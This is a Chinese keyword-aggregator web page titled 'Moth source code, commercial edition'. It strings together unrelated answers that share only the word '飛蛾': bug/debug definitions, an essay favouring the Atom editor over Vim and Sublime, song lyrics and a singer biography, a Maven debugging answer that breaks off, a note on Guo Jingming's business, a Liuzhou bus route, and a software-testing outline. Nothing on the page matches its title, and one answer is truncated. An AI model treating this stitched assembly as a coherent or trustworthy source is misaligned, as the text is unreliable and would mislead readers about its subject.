導航:首頁 > 源碼編譯 > 飛蛾源碼商業版

飛蛾源碼商業版

發布時間:2022-07-22 13:35:55

㈠ bug和debug是什麼意思

bug

英[bʌɡ]美[bʌɡ]

n.臭蟲;竊聽器;[計]漏洞 v.竊聽;打擾;失去(鎮定)

名詞:bugger 過去式:bugged 過去分詞:bugged 現在分詞:bugging 第三人稱單數:bugs

Debug

英[ˌdiː'bʌɡ]美[ˌdiː'bʌɡ]

v.調試;驅除(某處的)害蟲;排除障礙;尋出並拆除 ... 內的竊聽器

名詞:debugger過去式:debugged過去分詞:debugged現在分詞:debugging第三人稱單數:debugs

(1)飛蛾源碼商業版擴展閱讀:

bug雙解釋義

1.n. (名詞)

[C]蟲子any small insect

[C]〈非正〉病菌a small living thing causing disease

[C](機器等)故障a fault or difficulty in a machine, etc.

[C]〈俚〉竊聽器an apparatus for listening secretly to other people's conversations

2.v. (動詞)

vt. 〈俚〉在…裝竊聽器; 竊聽fit with a secret listening apparatus

vt. 〈美俚〉打擾,使厭煩annoy; irritate

英英釋義

bug的用法和樣例:

用作名詞 (n.)

Why do we need bug spray?
我們要殺蟲劑干什麼?

The police tested the room for bugs.
警察檢查房間里是否放有竊聽器。

用作動詞 (v.)

Be careful what you say; our conversation may be being bugged.
說話要當心,咱們的話可能被竊聽了。

Don't bug me with petty details.
不要講那些瑣碎的細節來煩我。

That man really bugs me.
那個人真把我惹火了。

Debug英英釋義

Verb:

1.locate and correct errors in a computer program code;

"debug this program"

例句

用作動詞 (v.)

I am trying to debug a screen-painting problem.
我在嘗試調試屏幕繪制問題。

㈡ 什麼代碼編輯器比較好用

著名的代碼編輯器:Microsoft Visual Studio Code、Github Atom、Sublime text、Adobe Brackets

最推薦的一種:Atom

推薦理由:

鏈接:如何評價 GitHub 發布的文本編輯器 Atom?

作者:韋易笑

用過不少編輯器:UltraEdit / EditPlus / (G) Vim / GEdit / NotePad++ / TextMate / ProgrammerPad / Sublime 。確實是工作上用他們寫過代碼的。而 VSC / Emacs 只是體驗了一下基本使用方法,算不上真用。用下來的結論是:Atom 比 Vim 更 Vim,比 Emacs 更 Emacs,同樣,比 Sublime 更 Sublime。


Atom 唯一的槽點就是「卡」,不過那是去年的情況了,1.0後性能數次大提升,比起sublime/vsc之類雖不算流暢,但同時編輯20個數千行的文件沒有壓力。如今讓人感覺慢的地方主要是啟動loading(也大大短於eclipse, idea),使用時並沒察覺它比其他編輯器慢再哪。而文本編輯器的快慢,更重要的是「讓你工作更快更有效率」。下面說說為何 Atom比其他更有效率:


兼容VIM模式


這無疑團結了一大班 Vim過來的用戶,Sublime雖然也有VIM模式,但是Sublime在 mac下面的vim模式有bug,我習慣用 hjkl來移動游標,sublime再mac下hjkl移動有問題,且我習慣CTRL_[來返回NORMAL,手指不離開主鍵盤區,而sublime的vim模式只支持ESC返回,加上其作者經常神秘消失,最穩定的2.x版本已三年沒有更新,這些問題一直得不到修正。


由於Atom的定製程度直追 Vim/Emacs,它的vim模式能夠使用插件來實現,而不像sublime必須builtin,Atom的VIM模式除了官方實現外還有很多用戶實現,各有所長,你不喜歡可以換,Sublime就傻逼了,覺得builtin的不行,你就沒辦法了,而且作者不更新你也沒辦法。


Atom里的Vim模式並不是強制的,你可以用也可以不用,這樣入門用戶也不會覺得困難,但是如果你用慣Vim的話,使用Vim模式可以取得更好的效率,我覺得Vim/Atom-VimMode能夠提升效率的地方有以下三方面:


1. 手指不離開主鍵盤區:

所有功能皆能在主鍵盤區完成,不用去按方向鍵,不用把手挪去按Home/End,更不用動滑鼠。就像詠春中強調中線理論,認為一切動作圍繞中軸線開展,守護自己中軸線的同時攻擊別人的中軸線。Vim/Atom-VimMode中,雙手不但從不離開主鍵盤,並且八根手指隨時守護再HOME位(ASDF, JKL;)有動作就移動,然後馬上歸位。


2. 細粒度微操作:

星際/dota玩的好,微操基本功,微操又快又精確,Vim/Atom-VimMode一樣,比如:

if (xxxx) {}

很多人編碼時習慣「成對編碼」,寫了申請資源的代碼,先把釋放資源寫了,寫了左括弧,先把右括弧給補充完,當你寫完第二行代碼時,需要用到「再1-2行中間插入一行」,此時你的游標停留在第二行,傳統編輯器你需要:按上箭頭移動游標到第一行 -> 按END鍵去到第一行末尾 -> 按回車插入一行,mac下的END鍵還需要用CMD+右來組合出來,而Vim/Atom-VimMode中,你只需要shift+o即可,手指完全不離開主鍵盤區,不用像傳統編輯器那樣,右手先移動到箭頭區又移動到HOME的小鍵盤區,再移動回主鍵盤區這么麻煩,類似還有:

使用o直接再下一行插入,避免 END/回車

使用I再行首插入,避免移動半天游標。

向前/後移動一個單詞到單詞頭、尾。

快速更改當前單詞,用/來快速搜索移動游標。

dd+p來快速移動代碼塊,取代shift+方向鍵半天。

shift-j 來兩行合並成一行,代替 HOME, back 若干次。

。。。

你再編輯代碼的時候,90%的情況可以直接一步完成,這就叫細粒度微操,而且整個過程手都不需要離開主鍵盤,不像傳統編輯器那樣,若干笨重的操作組合再一起,操作不夠細步驟多的同時手還要再:主鍵盤區,方向鍵區,擴展鍵區 來回移動,效率奇低。而Vim/Atom-VimMode下,手指隨時守護在home區(ASDF JKL;),所有微操都是圍繞HOME區進行,不會移動到任何主鍵盤以外的區域,更別說用滑鼠、觸摸板。


3. 批量操作:

比如要給下面代碼每行後面加一個分號:

var x = 1var y = 2var z = 3console.log('result is ' + (x + y + z).toString())

一般做法是:移動游標到行末->END->分號->移動游標到下一行,Vim裡面不需要移動游標到行末,只需循環敲入:「A;<ESC>j」 即可,本來操作就少很多。這還不是最少操作,更少操作是利用Vim裡面的句號「.」功能重復上一次操作,即第一行「A;」補充了一個分號後,第二行只需要按一下"."即可重復,於是最後操作變為:

第一行:A;<ESC>

後面所有行:J.


超級爽快的操作,這樣的操作還很多,你還可以單條命令對一萬行代碼重復上述步驟,或者把c代碼拷貝到go裡面先一句話把所有分號給刪除了。Vim下面的名言:絕不重復。


總之如果你熟悉 VIM模式,用 Atom能感到完全自由的方式,隨心所欲的書寫代碼,而不是被書寫這件事情費腦筋,解放大腦完全用於思考而不用於打字。但是同時對不習慣VIM的人照樣友好,或者對想使用VIM的便利卻又痛恨VIM這個軟體的簡陋的人帶來了福音。


脊椎記憶


「同樣動作重復300次,肌肉就會有記憶,而一個動作重復600次,脊椎就會有記憶」
-- 李小龍


編輯器就是關於脊柱記憶的東西,所以多投入一些時間去了解你使用的編輯器,掌握他們的各種快捷操作和高級功能是一個能讓你事半功倍的好主意。


格鬥游戲玩的好的人有很多,下等高手靠熟練,中等高手靠反應,上等高手靠意識。更熟練的掌握你的編輯器,讓更多日常工作固化成記憶記錄再你的脊椎上,使用的時候,脊椎這枚協處理器就能完成代碼編寫,一個操作,剛一想到,脊椎就自動執行出來了,小腦騰出空間來組織判斷,大腦騰出空間來思考更重要的東西,就像你走路,你不用思考邁腿那麼自然,別人一拳過來,你潛意識一動,一連串動作就出去了,一隻飛蛾飛過來,你潛意識的閉上眼睛保護眼部,這就是脊椎記憶,如果還要經過大腦繞一圈,反應慢不說,大腦這顆cpu都用在這些瑣事上了,思考的時間自然少了不少。


所以從內到外的了解你的編輯器,並且熟練掌握他們,是對你提高工作效率的最佳投資,Atom的全平台支持,開放源代碼,深度可定製等三個特點,比起其他閉源的,平台支持不全的,擴展少的編輯器來說能讓你有不同層面的了解機會,同時為你提供足夠的空間。


深度可定製系統


Vim/Emacs的精髓在於:「可以調教」,本來不順手的東西,只要容易調教,假以時日,都會慢慢變得越來越順手,越來越「懂你」,越來越「貼心」,以至於後面大家都離不開它了。而 Atom 也同樣是一款容易被你調教的編輯器。先前給vim寫過插件,給sublime寫過插件,如今給Atom寫過插件,橫向對比下來,幾個結論:


插件能做事情多少:Atom > Vim >> sublime

插件開發學習門檻:Vim > Atom > sublime

插件開發文檔豐富:Atom > sublime >> Vim


Atom 的定製化程度遠遠高過sublime之類(不用實際看法,看看雙方開發文檔即可),直追 Vim / Emacs,sublime的大部分定製無外乎改改json,插件能做的事情相當有限。


Atom 的定製化系統主要有三方面:


1. 細致:

設計之初就考慮的事情,方方面面都能定製,見官方文檔,以及插件:vim-mode,minimap (稍微了解下這兩個類似的功能再 Atom 和 sublime的實現就能知道 sublime被甩了多少條街了)。可以細粒度的控制編輯器內所有行為,小到移動一下游標,刪除當前一個字元,大到打開一個面板,比如 「core:more-up」 可以向上移動一行游標,「window:focus-pane-on-left」 可以把焦點設置到左邊的面板,atom內核和大量第一方第三方packages 都是以命令的方式把基礎功能提供出來,你可以隨意互相調用或者設置熱鍵。

除去命令外的API層面,幾乎每個部件每個像素點都可控,比如這樣的插件你永遠無法再 Vim / Emacs / Sublime 下面見得到:activate-power-mode。


2. 直觀:

由於使用 javascript/coffee進行開發,但 javascript/coffee是屬於即便你沒寫過他們,讀都能讀得懂,VimScript就不一樣了,雖然也能做相同的事情,但實話實說,晦澀難寫,比如我要取得當前文件的路徑和文件名,在 VimScript裡面需要這么寫:

let l:path = expand('%:p:h')let l:name = expand('%:t:r') 或者 let l:name = expand('%<')

而在 Atom 里我們用atom自己的功能直接取出路徑來,然後進行切割:

var fullpath =atom.workspace.getActiveTextEditor().getPath();var filename = path.basename(fullpath);var filepath = path.dirname(fullpath);

就問大家一下?哪段代碼更友好直觀?你一眼就知道在做什麼?你更願意用按照哪段代碼進行插件開發?是上面的VimScript?還是下面的 javascript ?


結論是很清晰的,Atom的 javascript開發插件更簡單直觀,即便沒文檔,看別人怎麼寫的自己也會了,同時靈活性大大高於VmScript,各種事件處理回調,javascript天生擅長做這些事情,還有第二行,第三行,我們用到了 node.js 的 path模塊,進行文件路徑切割。這樣的寫法,再VimScript 裡面基本是無法想像的。


Vim是強大,但是畢竟是30年前的東西了,即便最熟練的 Vimer 也都承認 VimScript 的晦澀難懂,阻礙了很多人為其開發插件。而給Atom開發插件,只需要掌握javascript,掌握 javascript的人很多,學習了javascript你也可以用在很多地方。不像VimScript那樣只能用在Vim裡面,而正因為其晦澀,Vim新版本開始支持內嵌 python的寫法:

python << EOF
import random
print random.randint(0,10)EOF


VimScript中 Python等動態的支持正是說明其開發維護者也承認 VimScript本身的古老,對比現代編程語言已經有些格格不入了,缺乏強大的描述能力,難以構建復雜的功能模塊,才會去支持Python內嵌這樣的寫法。可大量的工作還是需要再Python之外完成,同時,並非所有平台自帶的Vim都支持python,除了mac外,所有debian / ubuntu 發行版自帶的Vim都不支持 Python。導致你想寫一個通用的擴展還得判斷下是否 has('python') 沒有的話老老實實用 VimScript 去實現它,這不是折磨人么?


Sublime裡面可以用原生 Python 寫擴展,比 VimScript爽,但是 sublime 的插件能做的事情還不及VimScript的一半,所以怎麼能指望他們能寫出高端的功能來呢?


3. 強大:

Atom的內核 Electron (原來的 Atom-shell)可以理解成:Chromium + Node.JS,而整個Atom的界面,你可以理解成就是一顆 HTML 的 DOM 樹結構,這意味著你可以這樣:

var div = document.createElement("div"); div.innerText = "abc"; atom.workspace.addBottomPanel(div);

就可以簡單的在 atom 裡面增加一個顯示對象,這意味著再給div加個 html的 onclick就可以實現GUI交互,界面上的對象隨便寫點html代碼就可以控制效果,意味著你可以使用 jQuery 來為atom增加新面板,意味著你只需要寫一個簡單的 .css 文件就可以把 Atom 整個編輯器的外觀給修改了。這在 Vim/Emacs 中是幾乎不可想像的事情,sublime基本就別提了。


大量的前端開發技術和 Node.JS 基礎模塊供你任意使用,正是由於近年 Chromium / node.js 系列技術的成熟,和 Atom / Visual Studio Code 這類基於前端技術的客戶端軟體的成功,讓我看到了客戶端(桌面+移動)軟體開發的新方向。


做VIM/Emacs不能做的事情


Vim/Emacs過去給人的映像是:幾乎能做任何事情,確實如此,但畢竟是二三十年前的東西了,而他們一直堅挺到現在一方面是操作便利,更重要的是這么長時間還沒有出現一款又開源又具備同樣操作便利性和可擴展性的編輯器,所以Vimer, Emacser 們最樂意展示給別人看的就是他們又安裝了什麼插件,急於展示可以把 Vim / Emacs 裝扮成了一個多像 IDE 的東西,而今天這個「可以做任何事情」的高度可定製特性已經被Atom所吸收並完全超越,就像 Atom 的開發blog:「 Introcing Atom」 上說的一樣,對易用性和可展性 「決不妥協」 :

We think we can do better. Our goal is a zero-compromise combination of hackability and usability: an editor that will be welcoming to an elementary school student on their first day learning to code, but also a tool they won't outgrow as they develop into seasoned hackers.


拋開易用性的這個 Atom 的明顯優勢不說,前面其實已說了不少 Atom 比 Vim/Emacs 更靈活強大的地方,可能有些人還有疑惑,不是說 Emacs 「沒有不能做的事情」 么?你看 Atom的面板裡面可以嵌入一個 Terminal,Vim/Emacs一樣可以嵌入啊,為何還說 Atom 比它強啊?


沒錯,Vim用久了會產生心理舒適區,多模式編輯使人神清氣爽,命令化文本處理讓你賞心悅目,但是受限於本身機制用久了會容易痛苦掙扎:雖然vim的各種擴展似乎什麼事情都能做,但每個擴展卻只能做到70分,總有那麼30%的地方做不到位。所以用的時間長了,上半身爽的要死,下半身痛不欲生。。。。


Vim/Emacs即便大部分擴展功能也都可以稱為「能用」,可幾十年的歷史包袱太沉,很多事情對他們來講就是禁區,比如詭異的標簽功能,容易誤操作的buffer/窗口切換,缺乏非同步機制,編譯時間長只有傻等著,無法跟Atom一樣邊讀代碼,邊運行程序看結果,對照輸出結果和源代碼找問題,連實現個內嵌終端都用了若干年,還實現的那麼別扭。。。。。。。。。


這類硬傷有許多,再舉個最簡單的例子,minimap,就是 sublime那種大家喜歡的文檔縮略圖,這個現代編輯器必備的功能,誰能用 Vim/Emacs 實現一下看看?Atom 可以衍生出 Visual Studio Code 這樣漂亮的編輯器,Vim/Emacs能衍生么?Atom可以隨便用各種先進的前端技術,不當可以嵌 Terminal我甚至可以再 Atom 嵌入一個 js版本的 DOSBOX 玩老游戲《命令與征服》:

https://archive.org/details/softwarelibrary_msdos_games

Play DOS games online


當然這樣並沒有任何卯用,但是如果在 Atom裡面內嵌一個瀏覽器,方便的實時預覽html/css的效果呢?或者 Atom 裡面內嵌一個 Markdown Previewer ,實時查看 Markdown 的效果呢?請問 Vim/Emacs 里怎麼實現法?


Atom插件演示:markdown實時預覽,左邊寫右邊即時更新,100%兼容github的markdown語法


短短兩年的時間,這么多優秀的插件,只想說,如今 Atom 作為 Vim/Emacs 的繼承者和超越者出現了,所以社區對 Atom 的反應也是熱烈的,看看下面一組數據,截止今天(2016年3月15日),Atom共有擴展插件 3500+ 個,發布不到兩年的時間,這是什麼概念呢?

㈢ 許嵩的《飛蛾>>.的簡介

許嵩 - 飛蛾 作詞:海雷 作曲:李毅傑
萬家燈火看得太多
只會更寂寞
聽說失戀可以癒合
我的痛誰又曉得
愛情只剩灰色泡沫
可以溶掉我
是不是得到的越多
反而就會更難過
畫面定格了
心痛了碎了
我們的快樂
被你推翻了
世界剩我一個
我想你也不會再來找我
我愛你像飛蛾撲火
得不到什麼
愛情在風中凋落
也許愛是偉大的
我是卑微的
你是不適合我的
我愛你像飛蛾撲火
得不到什麼
是我錯誤的選擇
也許一個人比較適合
畫面定格了
心痛了碎了
我們的快樂
被你推翻了
世界剩我一個
我想你也不會再來找我
我愛你像飛蛾撲火
得不到什麼
愛情在風中凋落
也許愛是偉大的
我是卑微的
你是不適合我的
我愛你像飛蛾撲火
得不到什麼
是我錯誤的選擇
也許一個人比較適合
我彈著鋼琴唱著歌
胸口卻依然在疼著
也許彈著彈著 唱著唱著 就癒合
我愛你像飛蛾撲火
得不到什麼
愛情在風中凋落
也許愛是偉大的
我是卑微的
你是不適合我的
我愛你像飛蛾撲火
得不到什麼
是我錯誤的選擇
也許一個人比較適合
也許一個人比較適合
簡介
2006年11月13日,《飛蛾》在新浪網發布後引發轟動,首日下載量就突破7萬次,這首歌的演唱者許嵩,在今年夏天還曾接到天娛公司的邀請,擔綱2006超女專輯的製作人。但這個被稱為「周傑倫的接班人」的音樂少年,並非成名已久的專業音樂人,也不是哪家唱片公司正在力推的新星,他只是安徽醫科大學一名普通的大三學生,英文名叫vae,畢業於合肥一中,大學畢業於安醫大衛生管理學院。 尚未簽約唱片公司、不靠唱歌寫歌混飯吃、極少曝光、所有歌曲獨立完成錄音混音工作——隨便網路搜一下,卻發現他擁有著海量粉絲和超高人氣。這種強烈的反差實在可以讓一些被重金力捧卻怎麼也捧不起來的職業歌手汗顏。近日,這首編曲、演唱、錄音混音全由許嵩一人完成的作品,在其一向人氣火爆的歌迷論壇剛剛推出,就又一次意料之中的進入Tom玩樂吧等門戶網站以及諸多電台的原創排行榜。這在唱片工業化、音樂商業化的今天不能不說是一個小奇跡——無公司力捧,零投資運作,卻真正虜獲了網站編輯、電台編輯們的心。筆者嘗試聯系許嵩本人未果,難怪有「歌壇小韓寒」之稱。可反過來想想,年輕人低調冷靜些,倒也不是什麼壞事。在老師和同學眼中,生活中的許嵩就是這樣:一個安靜、溫和、堅持理想的大男孩。「我覺得他的道德品質非常好」,許嵩的輔導員單勇強老師評價說,「在外人眼裡,許嵩已經是一個偶像了,甚至本校的老師也來找我要他的簽名,但我覺得他和別的學生沒什麼兩樣。」在音樂之外,許嵩也是個多才多藝的年輕人。許嵩說,他喜歡看書、寫作,還學過街舞。

㈣ 使用maven eclipse 如何進行debug調試

方法如下:

  1. 右鍵maven工程,在彈出的菜單中選擇[Debug As],首次選擇[Maven build...],以後選擇[Maven build]來讀取保存的配置啟動

    ㈤ 如何評價郭敬明的商業才能

    郭敬明對於整個娛樂行業最大的貢獻,或許是其確立了粉絲電影、流量鮮肉的概念。其中,《小時代》系列是一個標桿性產品。2013年6月27日,《小時代1》上映,當天便刷新了電影市場多項紀錄。隨後,郭敬明接連推出了《小時代》的第二、三、四部,以及去年上映的《爵跡》,這些作品累計斬獲超21.7億元的票房。再加上原先的小說版稅、IP改編費等,讓郭敬明這三個字在娛樂圈頗具影響力。盡管郭敬明的這些影視作品頗受爭議,但不可否認他本人在商業上獲得巨大成功,並且他已建立起屬於自己的「商業帝國」。

    ㈥ 柳州飛蛾路到躍進計劃生育那裡坐公車會到做幾路的公車 謝謝!

    5路 進站 -> 海川傢具市場(香蘭公交站) -> 鷓鴣江路口 -> 三十九中學(柳鋼醫院住院部) -> 柳州醫專一附院路口 -> 白沙 -> 二安 -> 躍進錦綉路口 -> 歐雅城市廣場 -> 恆達巴士公司 -> 三中白沙路口 -> 市委 -> 柳侯公園 -> 市婦幼保健院 -> 飛鵝商城(華地工貿) -> 魚峰路 -> 文惠橋南 -> 東門 -> 市中醫院 -> 市委 -> 三中白沙路口 -> 恆達巴士公司 -> 歐雅城市廣場 -> 躍進錦綉路口 -> 二安 -> 白沙 -> 柳州醫專一附院路口 -> 三十九中學(柳鋼醫院住院部) -> 鷓鴣江路口 -> 海川傢具市場(香蘭公交站) -> 進場 對,就是樓上說的站點下就是了!

    ㈦ 你知不知道我愛你就像飛蛾撲火這歌叫啥名

    歌名:《兩個人的回憶一個人過》 歌手:庄心妍。

    作曲人:關劍 作詞人:潘攀

    歌詞如下:

    還要走多久 還有多少個沙丘 這黑夜快要把我吞沒

    我的淚化成河 憂郁像落葉漂泊 寂寞的歌誰來附和

    心空似荒漠 傻傻等你說愛我 一個女人其實要的並不多

    不知什麼時候 我們沒有了問候 寂寞的人 寂寞的歌

    你知不知道我愛你就像飛蛾撲向火 為什麼你不懂女人的脆弱

    你知不知道我對你就像為愛著了魔 傻傻的等 廝守你給的承諾

    心空似荒漠 傻傻等你說愛我 一個女人其實要的並不多

    不知什麼時候 我們沒有了問候 寂寞的人 寂寞的歌

    你知不知道我愛你就像飛蛾撲向火 為什麼你不懂女人的脆弱

    你知不知道我對你就像為愛著了魔 傻傻的等 廝守你給的承諾

    你知不知道我愛你就像飛蛾撲向火 你不懂一個女人對愛的執著

    你知不知道我對你就像為愛著了魔 兩個人的回憶 一個人過

    兩個人的回憶 一個人過

    (7)飛蛾源碼商業版擴展閱讀:

    《兩個人的回憶一個人過》是由歌手庄心妍演唱的歌曲,所屬專輯《好可惜》,填詞和譜曲都是潘攀,編曲是關劍,於2014年12月16日發行,音樂風格屬於流行樂曲,歌曲語言是普通話。

    歌曲總時長4分27秒,歌曲聽起來非常的撕心裂肺,不傷心的人聽了都覺得糟心,傷感的人一聽就會哭的歌。

    ㈧ 軟體測試具體是做什麼的(面試人員說剛開始做的是處理一些代碼非常枯燥的事)請有做過工作的過來人指點

    軟體測試定義是:為了發現程序中的錯誤而執行程序的過程

    它是幫助識別開發完成(中間或最終的版本)的計算機軟體(整體或部分)的正確度(correctness) 、完全度(completeness)和質量(quality)的軟體過程;是SQA(software quality assurance)的重要子域。

    軟體測試的目標:

    (1)測試是為了發現程序中的錯誤而執行程序的過程;

    (2)好的測試方案是極可能發現迄今為止尚未發現的錯誤的測試方案;

    (3)成功的測試是發現了至今為止尚未發現的錯誤的測試。

    軟體測試的內容:

    軟體測試主要工作內容是驗證(verification)和確認(validation ),下面分別給出其概念:

    驗證(verification)是保證軟體正確地實現了一些特定功能的一系列活動,即保證軟體做了你所期望的事情。(Do the right thing)

    1.確定軟體生存周期中的一個給定階段的產品是否達到前階段確立的需求的過程;

    2.程序正確性的形式證明,即採用形式理論證明程序符號設一計規約規定的過程;

    3.評市、審查、測試、檢查、審計等各類活動,或對某些項處理、服務或文件等是否和規定的需求相一致進行判斷和提出報告。

    確認(validation)是一系列的活動和過程,目的是想證實在一個給定的外部環境中軟體的邏輯正確性。即保證軟體以正確的方式來做了這個事件(Do it right)

    1.靜態確認,不在計算機上實際執行程序,通過人工或程序分析來證明軟體的正確性;

    2.動態確認,通過執行程序做分析,測試程序的動態行為,以證實軟體是否存在問題。

    軟體測試的對象不僅僅是程序測試,軟體測試應該包括整個軟體開發期問各個階段所產生的文檔,如需求規格說明、概要設計文檔、詳細設計文檔,當然軟體測試的主要對象還是源程序。

    從不同的角度出發,軟體測試可以劃分為不同的分類:

    從是否關心軟體內部結構和具體實現的角度劃分

    A.白盒測試

    B.黑盒測試

    C.灰盒測試

    從是否執行程序的角度

    A.靜態測試

    B.動態測試。

    從軟體開發的過程按階段劃分有

    A.單元測試

    B.集成測試

    C.確認測試

    D.驗收測試

    E.系統測試

    * 測試過程按4個步驟進行,即單元測試、集成測試、確認測試和系統測試及發版測試。
    * 開始是單元測試,集中對用源代碼實現的每一個程序單元進行測試,檢查各個程序模塊是否正確地實現了規定的功能。

    * 集成測試把已測試過的模塊組裝起來,主要對與設計相關的軟體體系結構的構造進行測試。
    * 確認測試則是要檢查已實現的軟體是否滿足了需求規格說明中確定了的各種需求,以及軟體配置是否完全、正確。
    * 系統測試把已經經過確認的軟體納入實際運行環境中,與其它系統成份組合在一起進行測試。
    單元測試 (Unit Testing)
    * 單元測試又稱模塊測試,是針對軟體設計的最小單位 — 程序模塊,進行正確性檢驗的測試工作。其目的在於發現各模塊內部可能存在的各種差錯。
    * 單元測試需要從程序的內部結構出發設計測試用例。多個模塊可以平行地獨立進行單元測試。
    1. 單元測試的內容
    * 在單元測試時,測試者需要依據詳細設計說明書和源程序清單,了解該模塊的I/O條件和模塊的邏輯結構,主要採用白盒測試的測試用例,輔之以黑盒測試的測試用例,使之對任何合理的輸入和不合理的輸入,都能鑒別和響應。

    (1) 模塊介面測試
    * 在單元測試的開始,應對通過被測模塊的數據流進行測試。測試項目包括:
    – 調用本模塊的輸入參數是否正確;
    – 本模塊調用子模塊時輸入給子模塊的參數是否正確;
    – 全局量的定義在各模塊中是否一致;

    * 在做內外存交換時要考慮:

    – 文件屬性是否正確;
    – OPEN與CLOSE語句是否正確;
    – 緩沖區容量與記錄長度是否匹配;
    – 在進行讀寫操作之前是否打開了文件;
    – 在結束文件處理時是否關閉了文件;
    – 正文書寫/輸入錯誤,
    – I/O錯誤是否檢查並做了處理。

    (2) 局部數據結構測試
    * 不正確或不一致的數據類型說明
    * 使用尚未賦值或尚未初始化的變數
    * 錯誤的初始值或錯誤的預設值
    * 變數名拼寫錯或書寫錯
    * 不一致的數據類型
    * 全局數據對模塊的影響
    (3) 路徑測試
    * 選擇適當的測試用例,對模塊中重要的執行路徑進行測試。
    * 應當設計測試用例查找由於錯誤的計算、不正確的比較或不正常的控制流而導致的錯誤。
    * 對基本執行路徑和循環進行測試可以發現大量的路徑錯誤。
    (4) 錯誤處理測試
    * 出錯的描述是否難以理解
    * 出錯的描述是否能夠對錯誤定位
    * 顯示的錯誤與實際的錯誤是否相符
    * 對錯誤條件的處理正確與否
    * 在對錯誤進行處理之前,錯誤條件是否已經引起系統的干預等
    (5) 邊界測試
    * 注意數據流、控制流中剛好等於、大於或小於確定的比較值時出錯的可能性。對這些地方要仔細地選擇測試用例,認真加以測試。
    * 如果對模塊運行時間有要求的話,還要專門進行關鍵路徑測試,以確定最壞情況下和平均意義下影響模塊運行時間的因素。

    2. 單元測試的步驟
    * 模塊並不是一個獨立的程序,在考慮測試模塊時,同時要考慮它和外界的聯系,用一些輔助模塊去模擬與被測模塊相聯系的其它模塊。
    – 驅動模塊 (driver)
    – 樁模塊 (stub) —— 存根模塊

    * 如果一個模塊要完成多種功能,可以將這個模塊看成由幾個小程序組成。必須對其中的每個小程序先進行單元測試要做的工作,對關鍵模塊還要做性能測試。
    * 對支持某些標准規程的程序,更要著手進行互聯測試。有人把這種情況特別稱為模塊測試,以區別單元測試。
    集成測試(Integrated Testing)
    * 集成測試 (集成測試、聯合測試)
    * 通常,在單元測試的基礎上,需要將所有模塊按照設計要求組裝成為系統。這時需要考慮的問題是:
    – 在把各個模塊連接起來的時候,穿越模塊介面的數據是否會丟失;
    – 一個模塊的功能是否會對另一個模塊的功能產生不利的影響;

    – 各個子功能組合起來,能否達到預期要求的父功能;
    – 全局數據結構是否有問題;
    – 單個模塊的誤差累積起來,是否會放大,從而達到不能接受的程度。
    在單元測試的同時可進行集成測試,
    發現並排除在模塊連接中可能出現
    的問題,最終構成要求的軟體系統。

    * 子系統的集成測試特別稱為部件測試,它所做的工作是要找出集成後的子系統與系統需求規格說明之間的不一致。
    * 通常,把模塊集成成為系統的方式有兩種
    – 一次性集成方式
    – 增殖式集成方式

    1. 一次性集成方式(big bang)
    * 它是一種非增殖式組裝方式。也叫做整體拼裝。
    * 使用這種方式,首先對每個模塊分別進行模塊測試,然後再把所有模塊組裝在一起進行測試,最終得到要求的軟體系統。

    2. 增殖式集成方式
    * 這種集成方式又稱漸增式集成
    * 首先對一個個模塊進行模塊測試,然後將這些模塊逐步組裝成較大的系統
    * 在集成的過程中邊連接邊測試,以發現連接過程中產生的問題
    * 通過增殖逐步組裝成為要求的軟體系統。

    (1) 自頂向下的增殖方式
    * 這種集成方式將模塊按系統程序結構,沿控制層次自頂向下進行組裝。
    * 自頂向下的增殖方式在測試過程中較早地驗證了主要的控制和判斷點。
    * 選用按深度方向組裝的方式,可以首先實現和驗證一個完整的軟體功能。

    (2) 自底向上的增殖方式
    * 這種集成的方式是從程序模塊結構的最底層的模塊開始集成和測試。
    * 因為模塊是自底向上進行組裝,對於一個給定層次的模塊,它的子模塊(包括子模塊的所有下屬模塊)已經組裝並測試完成,所以不再需要樁模塊。在模塊的測試過程中需要從子模塊得到的信息可以直接運行子模塊得到。

    * 自頂向下增殖的方式和自底向上增殖的方式各有優缺點。
    * 一般來講,一種方式的優點是另一種方式的缺點。
    (3) 混合增殖式測試
    * 衍變的自頂向下的增殖測試
    – 首先對輸入/輸出模塊和引入新演算法模塊進行測試;
    – 再自底向上組裝成為功能相當完整且相對獨立的子系統;
    – 然後由主模塊開始自頂向下進行增殖測試。

    * 自底向上-自頂向下的增殖測試
    – 首先對含讀操作的子系統自底向上直至根結點模塊進行組裝和測試;
    – 然後對含寫操作的子系統做自頂向下的組裝與測試。
    * 回歸測試
    – 這種方式採取自頂向下的方式測試被修改的模塊及其子模塊;
    – 然後將這一部分視為子系統,再自底向上測試。
    關鍵模塊問題
    * 在組裝測試時,應當確定關鍵模塊,對這些關鍵模塊及早進行測試。
    * 關鍵模塊的特徵:
    ① 滿足某些軟體需求;
    ② 在程序的模塊結構中位於較高的層次(高層控制模塊);
    ③ 較復雜、較易發生錯誤;
    ④ 有明確定義的性能要求。

    確認測試(Validation Testing)
    * 確認測試又稱有效性測試。任務是驗證軟體的功能和性能及其它特性是否與用戶的要求一致。
    * 對軟體的功能和性能要求在軟體需求規格說明書中已經明確規定。它包含的信息就是軟體確認測試的基礎。

    1. 進行有效性測試(黑盒測試)
    * 有效性測試是在模擬的環境 (可能就是開發的環境) 下,運用黑盒測試的方法,驗證被測軟體是否滿足需求規格說明書列出的需求。
    * 首先制定測試計劃,規定要做測試的種類。還需要制定一組測試步驟,描述具體的測試用例。

    * 通過實施預定的測試計劃和測試步驟,確定
    – 軟體的特性是否與需求相符;
    – 所有的文檔都是正確且便於使用;
    – 同時,對其它軟體需求,例如可移植性、兼容性、出錯自動恢復、可維護性等,也都要進行測試

    * 在全部軟體測試的測試用例運行完後,所有的測試結果可以分為兩類:
    – 測試結果與預期的結果相符。這說明軟體的這部分功能或性能特徵與需求規格說明書相符合,從而這部分程序被接受。
    – 測試結果與預期的結果不符。這說明軟體的這部分功能或性能特徵與需求規格說明不一致,因此要為它提交一份問題報告。

    2. 軟體配置復查
    n 軟體配置復查的目的是保證
    u 軟體配置的所有成分都齊全;
    u 各方面的質量都符合要求;
    u 具有維護階段所必需的細節;
    u 而且已經編排好分類的目錄。
    n 應當嚴格遵守用戶手冊和操作手冊中規定的使用步驟,以便檢查這些文檔資料的完整性和正確性。
    驗收測試(Acceptance Testing)
    * 在通過了系統的有效性測試及軟體配置審查之後,就應開始系統的驗收測試。
    * 驗收測試是以用戶為主的測試。軟體開發人員和QA(質量保證)人員也應參加。
    * 由用戶參加設計測試用例,使用生產中的實際數據進行測試。

    * 在測試過程中,除了考慮軟體的功能和性能外,還應對軟體的可移植性、兼容性、可維護性、錯誤的恢復功能等進行確認。
    * 確認測試應交付的文檔有:
